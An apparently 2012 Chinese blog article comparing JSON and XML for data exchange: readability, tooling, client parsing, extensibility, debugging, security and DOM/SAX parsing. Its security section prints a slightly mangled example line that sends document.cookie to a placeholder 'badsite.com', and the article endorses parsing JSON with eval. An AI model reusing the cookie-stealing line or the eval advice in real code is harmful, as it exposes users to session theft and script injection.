json與xml的區別

Web開發者發表於2012-10-22

曾幾何時,XML是程式設計師的寵兒,是資料傳輸、API、AJAX應用等方面的不二選擇,但自從JSON橫空出世後,或者你會發覺你身邊就有很多人開 始拋棄XML,在他們的心目中,JSON已經完全取代了XML的位置。JSON有很多優勢,但也存在缺點,而XML雖然確實存在不少問題,但孰優孰劣,並不是可以依據個人喜好就輕易得出結論的。

  JSON(Javascript Object Notation) 是一種輕量級的資料交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON採用完全獨立於語言的文字格式,但是也使用了類似於C語言家族的習慣(包括C, C++, C#, Java, Javascript, Perl, Python等)。這些特性使JSON成為理想的資料交換語言。 正是因為這樣,twitter已經聲稱他們的流媒體API將不再支援XML,Foursquare則強烈推薦開發者在使用他們的API時選擇JSON,因 為他們計劃下一代介面只支援JSON。

  我們將從下面幾個方面來客觀比較一下兩者

  • 1. 可讀性
  • 2. 是否易於在服務端建立資料
  • 3. 是否易於在客戶端處理資料
  • 4. 擴充套件性
  • 5. 除錯和故障排除
  • 6. 安全

  可讀性

  兩者都具備很好的可讀性,但從實際應用出發,個人還是覺得XML文件的可讀性無疑會更高,要求你從一大堆的json程式碼裡看出它的結構層次關係還是 相對比較困難的;而且現在很多的IDE工具都可以把XML格式化成易讀的結構形式,看起來相當舒服,而json則不然。在這一方面我投XML一票。

  是否易於在服務端建立資料

  XML已經流行了好多年了,故目前流行的程式語言都已經存在大量的XML資料繫結API去進行建立XML,以java語言為例,你既可以用JAXB,又可以用XmlBeans,又或者dom4jjdom等去把資料寫到xml檔案中。而另一方面,json這一方面的API則相對是一個全新的領域,儘管如此,json官方網站還是列出了很多令人印象深刻的各種語言的API,java方面比較著名的有json-lib,此外gson也算一個。在這一方面,雖然json相對於XML並不是望塵莫及,但還是略微遜色一籌,尤其是在複雜的應用方面,XML方面的API已經存在多年,相對來說成熟穩定得多了。

  是否易於在客戶端處理資料

  在客戶端,要處理XMLHttpRequest請求返回的json格式響應資料是一件輕而易舉的事情,只需要使用javascript的eval函 數就可以實現把json格式的資料轉換成javascript物件,然後通過物件的屬性去訪問值,這就是json最優雅之處,無數人為之著迷。而XML在 這一方面就不是那麼的友善了,曾令無數的程式設計師頭痛不已,因為處理XML響應資料,你得通過DOM樹,這是非常繁瑣且容易出錯的工作。這一點,我毫不猶豫 地選擇json。

  擴充套件性

  可擴充套件性有助於減少生產者與消費者之間的資料耦合。在AJAX應用裡,客戶端指令碼應該合理地相容不可知的資料擴充套件。

  毫無疑問,XML是可擴充套件的,但它的擴充套件是有侷限的,因為如果你要適應擴充套件的話,那麼你的客戶端程式碼不得不作出相應的改動,如以下的客戶端解析程式碼

1
2
3
4
var xml = xhr.responseXML; 
var elements = xml.getElementsByTagName("firstName"); 
var firstNameEl = elements[0]; 
var lastNameEl = firstNameEl.nextSibling;

  如果你在響應xml中<firstName>結點後增加了<middlename>這一結點的話,那以上的程式碼就要作相應 的改變,否則會出錯,也就是說,XML的擴充套件得伴隨著解析程式碼的變更,這可沒有什麼魔法可言。而json則簡單得多,即使你要增加middleName這 一屬性,在js客戶端依然是通過物件訪問屬性值即可,而不會引起js上的語法出錯之類的錯誤,導致程式無法執行。

  除錯和故障排除

  這方面需要從服務端和客戶端兩方面進行考慮,在伺服器端,要確保資料是格式良好的和有效的;在客戶端,它應該容易除錯錯誤的。

  使用XML的話會相對容易地檢查資料被髮送到客戶端是格式良好的和有效的。您還可以使用資料架構(schema)來驗證xml的正確性和有效性。使用JSON,這個任務是手動的,並涉及驗證響應物件中是否包含正確的屬性。

  在客戶端,要從兩者中找到錯誤都是比較困難的。對於XML,瀏覽器是完全無法將xml格式化成responseXML;如果對於資料量較少的json資料,還可以通過firebug來發現錯誤,但對於大資料量的話,那隻能靠手工檢查了,否則也只能坐以待斃了。

  安全性

  有人認為,使用json是不安全的,原因是json裡可以包含js程式碼,而客戶端中使用eval可以使這些程式碼執行,而這些程式碼可能會存在安全隱患。如以下的程式碼:

1
2
3
4
5
window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie; 
person : { 
 "firstName" : "Subbu"
 "lastName" : "Allamaraju" 
}

  上面的程式碼會導致瀏覽器把使用者的cookie資料提交到一個流氓網站。但出現這種情況的可能只會是開發者故意為之,別人是無法這樣做的,但如果是開 發者有意為之的話,那他一樣以別的方式來實現把你的cookie資料提交到流氓網站,這與是否使用json無關,所以相對於XML,json是同樣的安全 的。

  資料交換格式比較之關於輕量級和重量級:

  輕量級和重量級是相對來說的,那麼XML相對於JSON的重量級體現在哪呢?我想應該體現在解析上,XML目前設計了兩種解析方式:DOM和SAX;

  DOM是把一個資料交換格式XML看成一個DOM物件,需要把XML檔案整個讀入記憶體,這一點上JSON和XML的原理是一樣的,但是XML要考慮 父節點和子節點,這一點上JSON的解析難度要小很多,因為JSON構建於兩種結構:key/value,鍵值對的集合;值的有序集合,可理解為陣列;

  SAX不需要整個讀入文件就可以對解析出的內容進行處理,是一種逐步解析的方法。程式也可以隨時終止解析。這樣,一個大的文件就可以逐步的、一點一點的展現出來,所以SAX適合於大規模的解析。這一點,JSON目前是做不到得。

  所以,JSON和XML的輕/重量級的區別在於:JSON只提供整體解析方案,而這種方法只在解析較少的資料時才能起到良好的效果;而XML提供了對大規模資料的逐步解析方案,這種方案很適合於對大量資料的處理。

  資料交換格式比較之關於資料格式編碼及解析的難度:

  在編碼上,雖然XML和JSON都有各自的編碼工具,但是JSON的編碼要比XML簡單,即使不借助工具,也可以寫出JSON程式碼,但要寫出好的 XML程式碼就有點困難;與XML一樣,JSON也是基於文字的,且它們都使用Unicode編碼,且其與資料交換格式XML一樣具有可讀性。

  主觀上來看,JSON更為清晰且冗餘更少些。JSON網站提供了對JSON語法的嚴格描述,只是描述較簡短。從總體來看,XML比較適合於標記文件,而JSON卻更適於進行資料交換處理。

  在解析上,在普通的web應用領域,開發者經常為XML的解析傷腦筋,無論是伺服器端生成或處理XML,還是客戶端用 JavaScript 解析XML,都常常導致複雜的程式碼,極低的開發效率。

相關文章